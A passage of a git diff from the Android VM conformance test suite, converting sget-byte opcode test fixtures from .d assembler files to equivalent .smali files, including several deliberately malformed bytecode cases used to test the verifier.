+# limitations under the License.
+
+.source "T_sget_byte_11.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_11;
+.super  Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->p1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.d
deleted file mode 100644
index f2be588..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_12.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_12
-.super dot/junit/opcodes/sget_byte/d/T_sget_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_byte/d/T_sget_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_1.pvt1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali
new file mode 100644
index 0000000..bd11f40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_12.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_12;
+.super  Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_1;->pvt1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.d
deleted file mode 100644
index 8da3d7a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_13.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_13.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali
new file mode 100644
index 0000000..1b4dd31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_13.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_13;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.smali
new file mode 100644
index 0000000..19dc587
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_14;
+.super Ljava/lang/Object;
+.source "T_sget_byte_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.d
deleted file mode 100644
index 7c02a3b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_15.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali
new file mode 100644
index 0000000..6db0a4e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_15.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.d
deleted file mode 100644
index 09e1280..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_16.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali
new file mode 100644
index 0000000..b1a0287
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_16.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.d
deleted file mode 100644
index 41d95fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_17.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_17
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali
new file mode 100644
index 0000000..5e796f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_17.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.d
deleted file mode 100644
index e95a5eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_18.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_18
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali
new file mode 100644
index 0000000..1dcb79e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_18.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.d
deleted file mode 100644
index 822c286..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_19.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali
new file mode 100644
index 0000000..0843559
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_19.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.d
deleted file mode 100644
index e9c6567..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_20.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali
new file mode 100644
index 0000000..d970551
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_20.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.d
deleted file mode 100644
index 800e5f2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_3.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_3
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v3, dot.junit.opcodes.sget_byte.d.T_sget_byte_3.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali
new file mode 100644
index 0000000..ff770d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_3.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v3, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_3;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.d
deleted file mode 100644
index 5e884e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_4.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_4
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_4.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali
new file mode 100644
index 0000000..37a24cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_4.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_4;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.d
deleted file mode 100644
index ad5d006..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_5.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_5
-.super java/lang/Object
-
-.field public i1 B
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const v2, 77
-       iput-byte v2, v3, dot.junit.opcodes.sget_byte.d.T_sget_byte_5.i1 B
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_5.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali
